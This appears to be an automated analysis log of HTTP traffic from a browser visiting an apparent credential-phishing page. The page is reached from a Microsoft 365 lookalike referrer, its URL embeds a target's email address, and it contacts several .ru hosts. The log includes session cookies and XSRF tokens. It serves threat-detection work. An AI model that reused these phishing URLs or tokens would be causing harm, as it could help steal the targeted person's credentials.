Source: global traffic	HTTP traffic detected: GET /rIMOdeCtriNV/mdiaz%40estrellagalicia.es HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://microsoft365online.mdshohelrana.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8M
Source: global traffic	HTTP traffic detected: GET /kella$j85snp HTTP/1.1Host: 4728.xqwqkd.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ajd.asfhkkiv.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$j85snp HTTP/1.1Host: 4728.xqwqkd.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rIMOdeCtriNV/mdiaz%40estrellagalicia.es HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/mdiaz%40estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVXTmdxSzhzVkVrbUg1bG8vQW5ldFE9PSIsInZhbHVlIjoiZ0J1NG1Zblp0Z2xhRVZyN1VaaDhyb0JNcGhSbC9mQnBSbjhZMmdKKzR3NURMZlN2YmxUYjNwcEtXUzk5ZVM5UXNTYzFyNTdoTkVEL1RFcFZFNnNzWlQ5cnllejBIb2ZDQ1gvUnh6SUgyN2Y3Qm5xd0dKNVREYjF0SndwbEo5bjYiLCJtYWMiOiI2YzIxNDkwNDY0Y2NkMjA1NDMwNjdkMzQzMDk5MTRlNjRhZjkxNTk3NjRjZWMyMmY3MWNjMWVmMTE5YjUwNDhjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iko4OFlQVGw1c2tMaXRqRjB2K2o2b2c9PSIsInZhbHVlIjoiaUhaNTdNcmcrZ1gwYmZpUXFTeGJsRnFuN3oxbVAzZS9EUVRnUS95YkRiVDRGeWFJK2hMaTlHdkNJWHd3Tm1GZFRWV3FmUzEzVWlUMTYvVXVCY21tcnBWdXhNWjhnN1FMbVdSQ2JWVW9RRmtWRVlGR3J4emV5UnVOYWxtakxWT24iLCJtYWMiOiIwMTA1NzhiZGUzZjQ4YzYwZTNkYmY1MDNhNGI0M2U4ZTYxYWNjOWQ3ZTE0Nzg1NDllN2IwYmI1OGJjZGY5OTgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVXTmdxSzhzVkVrbUg1bG8vQW5ldFE9PSIsInZhbHVlIjoiZ0J1NG1Zblp0Z2xhRVZyN1VaaDhyb0JNcGhSbC9mQnBSbjhZMmdKKzR3NURMZlN2YmxUYjNwcEtXUzk5ZVM5UXNTYzFyNTdoTkVEL1RFcFZFNnNzWlQ5cnllejBIb2ZDQ1gvUnh6SUgyN2Y3Qm5xd0dKNVREYjF0SndwbEo5bjYiLCJtYWMiOiI2YzIxNDkwNDY0Y2NkMjA1NDMwNjdkMzQzMDk5MTRlNjRhZjkxNTk3NjRjZWMyMmY3MWNjMWVmMTE5YjUwNDhjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iko4OFlQVGw1c2tMaXRqRjB2K2o2b2c9PSIsInZhbHVlIjoiaUhaNTdNcmcrZ1gwYmZpUXFTeGJsRnFuN3oxbVAzZS9EUVRnUS95YkRiVDRGeWFJK2hMaTlHdkNJWHd3Tm1GZFRWV3FmUzEzVWlUMTYvVXVCY21tcnBWdXhNWjhnN1FMbVdSQ2JWVW9RRmtWRVlGR3J4emV5UnVOYWxtakxWT24iLCJtYWMiOiIwMTA1NzhiZGUzZjQ4YzYwZTNkYmY1MDNhNGI0M2U4ZTYxYWNjOWQ3ZTE0Nzg1NDllN2IwYmI1OGJjZGY5OTgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/mdiaz%40estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVpOUpvV3JhRGJyVHJSWU10cjQwNVE9PSIsInZhbHVlIjoiLzlOc3JDSE5aRlQxSWF5Tm12QjljZFRXNWg4M3JGcmtScG5WT3BWbzc1NStqU2NNQ21VZGhUZFltVkNHWEltdGN4TlplRVlZSzNmVDBnVUt3QUlTeWtQUnNqTkRGSEVxeVd4SEY1MGhZUzJQQjBkMEhUWmNZd2kvanBGcy81cnkiLCJtYWMiOiIxNTVjYWI4ZTk4YTk1YmNhMmI2MWU1OWYzMTg1MTU4YzU4MmM1YmI4NTEyMDg0YmJhY2Q5NjUyMGZlNjE4MGYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJCL1FVa0hwR1RhZzI3Y2p5RE5nY0E9PSIsInZhbHVlIjoiWDh3elloK2ZVWDZ0SnRHREhGKy9SNVRnWHl5ODlydzJJMEU4amY1Smx0aEY2Q0RSdXB4aHpybXE5aERxR2R5SVVpNEd4LzlEZmVwTlNVR2pXS21SZEdaL1RqVEljWGdBVlNPMThWT3c2a2dMUkkza1h0THV6cklyQ0I5d25xL2oiLCJtYWMiOiJiZDFhMTlhMDM4ZjM2YmVmYTc0MjhjNDA5N2ZhY2U5MGRlMzM5NWJkNmEzNzg1ZmEwNWRjYzFkNmJlMWYwZTBmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqWnEbQsk5HXxG4uGznnSrevhylKtlD5EOwQsRRQnultYgy HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9EczJvempHbU5reG5oNi9DanlOTHc9PSIsInZhbHVlIjoiUGJWUEcxVGI4UDh2L1NsVjNvN25ZSldTM1NDYkVNbWNmK2JpbG9WTUx2dENhRndZY3lNNHJpUUJlQm9jbmlpOHg4a2F3TUtka3p4VEczblJQb3ZKTElLNkZJUGNxbFEwb2hiM3FkS1R2am9VV3BiMGNxelBreFhlME9TUlp5MFciLCJtYWMiOiJhYjFjNjRjMjMzYjM0NzhjNDE4NGI5ZjQ0ZDlkNjEwZWQ2ZGQxYmY4ZDgzZjYwMGUxMjcyZWNjYjBhOGRiYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU3Wm54VFhNa1lLY2s2WmpCWktVdHc9PSIsInZhbHVlIjoiRVJ4a3orTGROMkZTdHdCVnp3UlFydS9ucDA0K3g1bUxUdjArQXdwSERsaEZjbngvdEVKcnF5bHhwRWNNRXJjcU0xSmtDV3Z6QXdEWG5IaHJYditrWjdaM3hvWkhyUlRrK3l2THVxL3VobTYxaUJXU05yTVdiR241cUVHOTN5WE4iLCJtYWMiOiI0M2EzMjc3ODRiZWZkMmMzYjU4Zjg0NWFjNTk3NzQzMWVhNmRjYmIyM2VlNTE4ZTA3YzFhNmZkYzRjYjlkYzVhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9EczJvempHbU5reG5oNi9DanlOTHc9PSIsInZhbHVlIjoiUGJWUEcxVGI4UDh2L1NsVjNvN25ZSldTM1NDYkVNbWNmK2JpbG9WTUx2dENhRndZY3lNNHJpUUJlQm9jbmlpOHg4a2F3TUtka3p4VEczblJQb3ZKTElLNkZJUGNxbFEwb2hiM3FkS1R2am9VV3BiMGNxelBreFhlME9TUlp5MFciLCJtYWMiOiJhYjFjNjRjMjMzYjM0NzhjNDE4NGI5ZjQ0ZDlkNjEwZWQ2ZGQxYmY4ZDgzZjYwMGUxMjcyZWNjYjBhOGRiYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU3Wm54VFhNa1lLY2s2WmpCWktVdHc9PSIsInZhbHVlIjoiRVJ4a3orTGROMkZTdHdCVnp3UlFydS9ucDA0K3g1bUxUdjArQXdwSERsaEZjbngvdEVKcnF5bHhwRWNNRXJjcU0xSmtDV3Z6QXdEWG5IaHJYditrWjdaM3hvWkhyUlRrK3l2THVxL3VobTYxaUJXU05yTVdiR241cUVHOTN5WE4iLCJtYWMiOiI0M2EzMjc3ODRiZWZkMmMzYjU4Zjg0NWFjNTk3NzQzMWVhNmRjYmIyM2VlNTE4ZTA3YzFhNmZkYzRjYjlkYzVhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilo4L3VmemFZR1k4dGVubHR0bncrTWc9PSIsInZhbHVlIjoiYUMvRzkxcGpFdEMrd0MyVjdGaHNMNnJBakNhWjkvcXdZc1FmZzh3d1BraFZrT3QzeWs5QjNmYVFub2FwVThGblVMZ0tHcVBHTXZ2dGtwUDlGZlErOUVBQWZZdVVEb21CaFVqT1B5Q3diY0tob3l1cjhTaVBUUkFjUmcrQmRnWVoiLCJtYWMiOiIxYjhmNDgwNjcwZDljMjc3MDk0YmUyNjAxY2FkY2I0ZDZkOGYwMzc2OTZjZDdiNjdjMmEwN2FkMDNlODgyZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkkzQnU0dE82OXB6L2RDSmZjWkI3dFE9PSIsInZhbHVlIjoiZGxkdlFxTEtQTWlzYWxLVU1taUJqaFVWcU5TUUR3MFdhbkZTdy84SVgyR1hkcFA5TU5PUlllVzhVNWp0WDJlVTRzZEJ4N2dNbEFaMWhoYklBK1dVZ0R4OGVMOFdlT29FWWRtbzZ0R0hLbFI1c3pwY0RlS3E5ZUFTWGprbXZvcTYiLCJtYWMiOiJlNzQ3YmJkODY5NzdlNjQ0ZWM3N2MzN2VjZWRlNjczNjc4MzE4NTdiZTU1NDkxOTgxOTBiMTA1ODNjNjlhMTY0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rIMOdeCtriNV/ HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNWU25lZHgzSnZNRGsxUytyUkNkblE9PSIsInZhbHVlIjoiVC9aM2lnRTVWNUpXaGtpZDE1MFpUb0JYc3hteW50aFMxVzd2U1JNMGZUSExTQ0ZnY1pSemthMlU0UzgrNjBhSnZ6NjV1cStPZ25jR2lhelFVcTRXZkU5TWI4OG5yb25tbkQvMFlVejE3MFZuZDJWbGhJbG1xUmYwTWJJbkpUNU8iLCJtYWMiOiIzMWUzNTkyNzRkZTQ1NzQ1YmE0Yzc1MzA0NTdkNTRlY2I5ZWI5MTkxNGI4N2U5ZDAyNjhiZDUzMWU4M2RmODM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlsaWo1UE1nRUZ6cHhjdzhkRWc1YUE9PSIsInZhbHVlIjoiTzBjakd1dEUxRHpacFA0SnN2UitCUDcvU0psMWQyZGRvSEkzemdGbnBJK0NGS2Vxb2dEU1pCNzRDeFZqZDljdmJnUVRQcnpZTzVySEdHZ0ZmUld0SGYwV3NQcm5HQkQ5OStTbDdObGdmVURuVUxxUWwyZWFlY1lYWEMrQ3BOYmsiLCJtYWMiOiI1NDdjYmM5OWUzYTEyNTVlMmU4ZjIwMTQ4Y2IzNDI0NjdhMTBhMWFjMTNiMmUzMDg1N2QzOGUxZGQxYTZjMjQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8MIf-None-Match: "6be7ff94b6151f8cfbf08b53a17e2ac1"
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8MIf-None-Match: "6be7ff94b6151f8cfbf08b53a17e2ac1"
Source: global traffic	HTTP traffic detected: GET /gando@vj5t41 HTTP/1.1Host: qyka.qxwhvv.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ajd.asfhkkiv.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gando@vj5t41 HTTP/1.1Host: qyka.qxwhvv.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rIMOdeCtriNV/ HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxjZzMxTGRlVmc2dUxNaVNGS1k1RFE9PSIsInZhbHVlIjoiTjB6RnoxM3Jid2hUUjJ3KzNEckRFK1BLQWp4d3NiYWloSXp4RFlMRk1YckdReG9qVVpQdkM1T3RoWmRUbDM1K3ZpQzg0V1dpV1I1d0dpNUNjUEdtTXVoaFFGdXZLRXNpUlk2N1g1b1BPR1ZpN1VSQ2hsc0VGcklYVVhtWmRiN1MiLCJtYWMiOiI5Mjk0OTAyMDRkZmRkNGU5NThkNWYwMzcxMDY2YzYxOTk2MGQ5MTQ2MmFiNjhiODdhM2RkMjhhZjEzZDU0YmVkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InRhVHBVTTB1YUNRUWpvZVo1QjVkNkE9PSIsInZhbHVlIjoidzdtTkZmQmhSS1VNRjE5cEhSZHpEeDczQVRHK2pUcTZQQjhIL1NyUU5MUjZQUjhlMGx3TmErUG8vUDlZMFFDOWRJVU9tTXgzazRtV2FCVGdtQW9maVV0TkdCWk83ZTJYZTlkV0dJcnJrbEo4OHpEamFIckg3T2dvMlZoNzNlMmMiLCJtYWMiOiI5ZDc2OWNjNzc1MGY0ZDFmNmEzYjVkMGE2ZmJiMmUwNGI4YTNiMzdiYWMwOWE0NDBkY2EzNWJlMjRkOTkzNmZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ypCZEKKotZ8zgSMewI7x0wOuz8tr6YIF9YmqDmifmbcq HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxjZzMxTGRlVmc2dUxNaVNGS1k1RFE9PSIsInZhbHVlIjoiTjB6RnoxM3Jid2hUUjJ3KzNEckRFK1BLQWp4d3NiYWloSXp4RFlMRk1YckdReG9qVVpQdkM1T3RoWmRUbDM1K3ZpQzg0V1dpV1I1d0dpNUNjUEdtTXVoaFFGdXZLRXNpUlk2N1g1b1BPR1ZpN1VSQ2hsc0VGcklYVVhtWmRiN1MiLCJtYWMiOiI5Mjk0OTAyMDRkZmRkNGU5NThkNWYwMzcxMDY2YzYxOTk2MGQ5MTQ2MmFiNjhiODdhM2RkMjhhZjEzZDU0YmVkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InRhVHBVTTB1YUNRUWpvZVo1QjVkNkE9PSIsInZhbHVlIjoidzdtTkZmQmhSS1VNRjE5cEhSZHpEeDczQVRHK2pUcTZQQjhIL1NyUU5MUjZQUjhlMGx3TmErUG8vUDlZMFFDOWRJVU9tTXgzazRtV2FCVGdtQW9maVV0TkdCWk83ZTJYZTlkV0dJcnJrbEo4OHpEamFIckg3T2dvMlZoNzNlMmMiLCJtYWMiOiI5ZDc2OWNjNzc1MGY0ZDFmNmEzYjVkMGE2ZmJiMmUwNGI4YTNiMzdiYWMwOWE0NDBkY2EzNWJlMjRkOTkzNmZjIiwidGFnIjoiIn0%3D
